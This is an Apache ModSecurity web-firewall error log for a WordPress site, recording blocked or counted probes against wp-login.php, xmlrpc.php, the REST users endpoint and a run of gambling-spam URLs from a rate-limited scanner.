[Thu May 14 07:36:07.004030 2026] [:error] [pid 47673:tid 47676] [client 104.168.92.217:37358] [client 104.168.92.217] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users/me"] [unique_id "agUK5_CGe4cIn3sh5k3EfQAAAUE"]
[Thu May 14 07:37:01.746788 2026] [:error] [pid 11690:tid 11703] [client 49.235.136.28:42030] [client 49.235.136.28] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "agULHSnxWuLN8Hptw8mNSQAAAMQ"]
[Thu May 14 08:13:02.699410 2026] [:error] [pid 11690:tid 11707] [client 43.157.38.228:56396] [client 43.157.38.228] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "agUTjinxWuLN8Hptw8manQAAAMg"]
[Thu May 14 08:27:57.488937 2026] [:error] [pid 63033:tid 63036] [client 13.202.66.187:58366] [client 13.202.66.187] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 13.202.66.187, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "agUXDVMY49UWn5BpqVaKoAAAAQE"]
[Thu May 14 08:27:59.353943 2026] [:error] [pid 63033:tid 63059] [client 13.202.66.187:58366] [client 13.202.66.187] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 13.202.66.187, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "agUXD1MY49UWn5BpqVaKpAAAARg"], referer: https://gigfragments.org/wp-login.php
[Thu May 14 11:22:47.932555 2026] [:error] [pid 47673:tid 47684] [client 51.77.216.62:53162] [client 51.77.216.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/auto%20slot.aspx"] [unique_id "agVAB_CGe4cIn3sh5k3lWgAAAUk"]
[Thu May 14 11:22:49.926980 2026] [:error] [pid 63033:tid 63054] [client 51.77.216.62:57240] [client 51.77.216.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20casino.aspx"] [unique_id "agVACVMY49UWn5BpqVasZAAAARM"]
[Thu May 14 11:22:51.922155 2026] [:error] [pid 47673:tid 47675] [client 51.77.216.62:57244] [client 51.77.216.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20co.aspx"] [unique_id "agVAC_CGe4cIn3sh5k3lWwAAAUA"]
[Thu May 14 11:22:54.010157 2026] [:error] [pid 11690:tid 11707] [client 51.77.216.62:55896] [client 51.77.216.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20dc.aspx"] [unique_id "agVADinxWuLN8Hptw8nSCQAAAMg"]
[Thu May 14 11:22:56.098024 2026] [:error] [pid 47673:tid 47691] [client 51.77.216.62:55908] [client 51.77.216.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20original.aspx"] [unique_id "agVAEPCGe4cIn3sh5k3lYAAAAVA"]
[Thu May 14 11:22:58.086806 2026] [:error] [pid 47673:tid 47693] [client 51.77.216.62:55910] [client 51.77.216.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20slot.aspx"] [unique_id "agVAEvCGe4cIn3sh5k3lYQAAAVI"]
[Thu May 14 11:22:59.757940 2026] [:error] [pid 11588:tid 11664] [client 162.62.132.25:59662] [client 162.62.132.25] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "agVAE9Ur21rOixkeGKY4lgAAAIw"]
[Thu May 14 11:22:59.970414 2026] [:error] [pid 47721:tid 47747] [client 51.77.216.62:55916] [client 51.77.216.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20thailand.aspx"] [unique_id "agVAE3Emh7_G0hfOa6tuqgAAAZg"]
[Thu May 14 11:23:01.928918 2026] [:error] [pid 11581:tid 11601] [client 51.77.216.62:55930] [client 51.77.216.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20auto.aspx"] [unique_id "agVAFf0vF48FbzpvQMWobgAAAAQ"]
[Thu May 14 11:23:03.878103 2026] [:error] [pid 11690:tid 11715] [client 51.77.216.62:47610] [client 51.77.216.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20casino.aspx"] [unique_id "agVAFynxWuLN8Hptw8nSDgAAANA"]
[Thu May 14 11:23:05.890174 2026] [:error] [pid 47673:tid 47677] [client 51.77.216.62:47626] [client 51.77.216.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20co.aspx"] [unique_id "agVAGfCGe4cIn3sh5k3lZgAAAUI"]
[Thu May 14 11:23:08.101578 2026] [:error] [pid 47721:tid 47745] [client 51.77.216.62:47628] [client 51.77.216.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20slot.aspx"] [unique_id "agVAHHEmh7_G0hfOa6turAAAAZY"]
[Thu May 14 11:23:10.141492 2026] [:error] [pid 11690:tid 11700] [client 51.77.216.62:47638] [client 51.77.216.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20thailand.aspx"] [unique_id "agVAHinxWuLN8Hptw8nSOAAAAME"]
[Thu May 14 11:23:12.117203 2026] [:error] [pid 11582:tid 11636] [client 51.77.216.62:47654] [client 51.77.216.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20wallet.aspx"] [unique_id "agVAIPuw2cmFDpGcKhD84wAAAEs"]
[Thu May 14 11:23:14.174095 2026] [:error] [pid 47721:tid 47734] [client 51.77.216.62:40028] [client 51.77.216.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20betflik.aspx"] [unique_id "agVAInEmh7_G0hfOa6turwAAAYs"]
[Thu May 14 11:23:16.116643 2026] [:error] [pid 63033:tid 63051] [client 51.77.216.62:40040] [client 51.77.216.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20betflix.aspx"] [unique_id "agVAJFMY49UWn5BpqVasdQAAARA"]
[Thu May 14 11:23:18.146564 2026] [:error] [pid 63033:tid 63044] [client 51.77.216.62:40044] [client 51.77.216.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20wallet.aspx"] [unique_id "agVAJlMY49UWn5BpqVasewAAAQk"]
[Thu May 14 11:23:20.161871 2026] [:error] [pid 47721:tid 47730] [client 51.77.216.62:40048] [client 51.77.216.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/demon%20slot%20game.aspx"] [unique_id "agVAKHEmh7_G0hfOa6tuuAAAAYc"]
[Thu May 14 11:23:22.201249 2026] [:error] [pid 47721:tid 47747] [client 51.77.216.62:47742] [client 51.77.216.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dg%20casino.aspx"] [unique_id "agVAKnEmh7_G0hfOa6tuuQAAAZg"]
[Thu May 14 11:23:24.099804 2026] [:error] [pid 63033:tid 63053] [client 51.77.216.62:47756] [client 51.77.216.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/g2g%20slot.aspx"] [unique_id "agVALFMY49UWn5BpqVasgwAAARI"]
[Thu May 14 11:23:26.393393 2026] [:error] [pid 11690:tid 11700] [client 51.77.216.62:47762] [client 51.77.216.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "agVALinxWuLN8Hptw8nSUQAAAME"]
[Thu May 14 11:23:28.221878 2026] [:error] [pid 63033:tid 63050] [client 51.77.216.62:47764] [client 51.77.216.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "agVAMFMY49UWn5BpqVasiAAAAQ8"]
[Thu May 14 11:23:30.319844 2026] [:error] [pid 47721:tid 47724] [client 51.77.216.62:47772] [client 51.77.216.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20slot.aspx"] [unique_id "agVAMnEmh7_G0hfOa6tu0AAAAYE"]
[Thu May 14 11:23:32.215410 2026] [:error] [pid 63033:tid 63049] [client 51.77.216.62:50978] [client 51.77.216.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/h25%20com.aspx"] [unique_id "agVANFMY49UWn5BpqVasiwAAAQ4"]
[Thu May 14 11:23:34.194004 2026] [:error] [pid 47721:tid 47731] [client 51.77.216.62:50984] [client 51.77.216.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/jili%20slot.aspx"] [unique_id "agVANnEmh7_G0hfOa6tu0wAAAYg"]
[Thu May 14 11:23:36.186528 2026] [:error] [pid 47673:tid 47679] [client 51.77.216.62:50990] [client 51.77.216.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/joker%20slot.aspx"] [unique_id "agVAOPCGe4cIn3sh5k3lhgAAAUQ"]
[Thu May 14 11:23:38.225656 2026] [:error] [pid 11582:tid 11649] [client 51.77.216.62:50998] [client 51.77.216.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/joker%20vip.aspx"] [unique_id "agVAOvuw2cmFDpGcKhD8_QAAAFg"]
[Thu May 14 11:23:40.237328 2026] [:error] [pid 63033:tid 63054] [client 51.77.216.62:51000] [client 51.77.216.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/kingkong%20joker.aspx"] [unique_id "agVAPFMY49UWn5BpqVaskAAAARM"]
[Thu May 14 11:23:42.189471 2026] [:error] [pid 63033:tid 63039] [client 51.77.216.62:57706] [client 51.77.216.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lava%20slot.aspx"] [unique_id "agVAPlMY49UWn5BpqVaskgAAAQQ"]
[Thu May 14 11:23:44.185621 2026] [:error] [pid 63033:tid 63044] [client 51.77.216.62:57720] [client 51.77.216.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mega%20slot.aspx"] [unique_id "agVAQFMY49UWn5BpqVaslwAAAQk"]
[Thu May 14 11:29:57.596365 2026] [:error] [pid 11582:tid 11640] [client 83.135.185.226:28744] [client 83.135.185.226] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 83.135.185.226, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "agVBtfuw2cmFDpGcKhD9TQAAAE8"]
[Thu May 14 11:30:07.686337 2026] [:error] [pid 11690:tid 11700] [client 83.135.185.226:29032] [client 83.135.185.226] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 83.135.185.226, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "agVBvynxWuLN8Hptw8nTEQAAAME"]
[Thu May 14 11:30:18.102575 2026] [:error] [pid 11581:tid 11606] [client 83.135.185.226:28828] [client 83.135.185.226] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 83.135.185.226, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "agVByv0vF48FbzpvQMWowwAAAAk"]
[Thu May 14 11:30:28.528893 2026] [:error] [pid 47721:tid 47730] [client 83.135.185.226:29106] [client 83.135.185.226] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 83.135.185.226, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "agVB1HEmh7_G0hfOa6twSQAAAYc"]
[Thu May 14 11:30:38.951929 2026] [:error] [pid 47721:tid 47747] [client 83.135.185.226:28916] [client 83.135.185.226] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 83.135.185.226, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "agVB3nEmh7_G0hfOa6twUwAAAZg"]
[Thu May 14 11:48:28.813477 2026] [:error] [pid 47721:tid 47746] [client 87.122.17.165:16803] [client 87.122.17.165] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 87.122.17.165, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "agVGDHEmh7_G0hfOa6t12wAAAZc"]
[Thu May 14 11:48:38.236496 2026] [:error] [pid 63033:tid 63051] [client 87.122.17.165:23091] [client 87.122.17.165] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 87.122.17.165, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "agVGFlMY49UWn5BpqVawGwAAARA"]
[Thu May 14 11:48:48.663203 2026] [:error] [pid 11588:tid 11659] [client 87.122.17.165:22951] [client 87.122.17.165] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 87.122.17.165, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "agVGINUr21rOixkeGKY7ZgAAAIc"]
[Thu May 14 11:48:59.041475 2026] [:error] [pid 11588:tid 11666] [client 87.122.17.165:22945] [client 87.122.17.165] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 87.122.17.165, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "agVGK9Ur21rOixkeGKY7egAAAI4"]
[Thu May 14 11:49:09.434499 2026] [:error] [pid 63033:tid 63041] [client 87.122.17.165:23017] [client 87.122.17.165] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 87.122.17.165, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "agVGNVMY49UWn5BpqVawSQAAAQY"]
[Thu May 14 11:54:06.735334 2026] [:error] [pid 11588:tid 11674] [client 103.187.94.33:65163] [client 103.187.94.33] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.187.94.33, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "agVHXtUr21rOixkeGKY8jgAAAJY"]
[Thu May 14 11:54:08.610980 2026] [:error] [pid 47673:tid 47690] [client 103.187.94.33:65234] [client 103.187.94.33] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.187.94.33, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "agVHYPCGe4cIn3sh5k3o5QAAAU8"]
[Thu May 14 12:09:43.164899 2026] [:error] [pid 47673:tid 47699] [client 124.156.226.179:35606] [client 124.156.226.179] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "agVLB_CGe4cIn3sh5k3rNwAAAVg"]
[Thu May 14 12:12:56.423142 2026] [:error] [pid 47721:tid 47729] [client 180.248.13.56:61017] [client 180.248.13.56] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 180.248.13.56, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "agVLyHEmh7_G0hfOa6t9pAAAAYY"]
[Thu May 14 12:13:06.708463 2026] [:error] [pid 47673:tid 47681] [client 180.248.13.56:61455] [client 180.248.13.56] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 180.248.13.56, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "agVL0vCGe4cIn3sh5k3rkAAAAUY"]
[Thu May 14 12:13:17.097573 2026] [:error] [pid 11588:tid 11667] [client 180.248.13.56:61942] [client 180.248.13.56] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 180.248.13.56, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "agVL3dUr21rOixkeGKY-ggAAAI8"]
[Thu May 14 12:13:28.524065 2026] [:error] [pid 47721:tid 47731] [client 180.248.13.56:62318] [client 180.248.13.56] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 180.248.13.56, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "agVL6HEmh7_G0hfOa6t9wwAAAYg"]
[Thu May 14 12:13:38.203656 2026] [:error] [pid 63033:tid 63050] [client 180.248.13.56:62697] [client 180.248.13.56] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 180.248.13.56, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "agVL8lMY49UWn5BpqVa0pQAAAQ8"]
[Thu May 14 12:13:49.046822 2026] [:error] [pid 63033:tid 63044] [client 180.248.13.56:63081] [client 180.248.13.56] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 180.248.13.56, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "agVL_VMY49UWn5BpqVa0qwAAAQk"]
[Thu May 14 12:40:17.881060 2026] [:error] [pid 47673:tid 47677] [client 190.92.174.31:40074] [client 190.92.174.31] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 190.92.174.31, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "agVSMfCGe4cIn3sh5k3uhAAAAUI"]
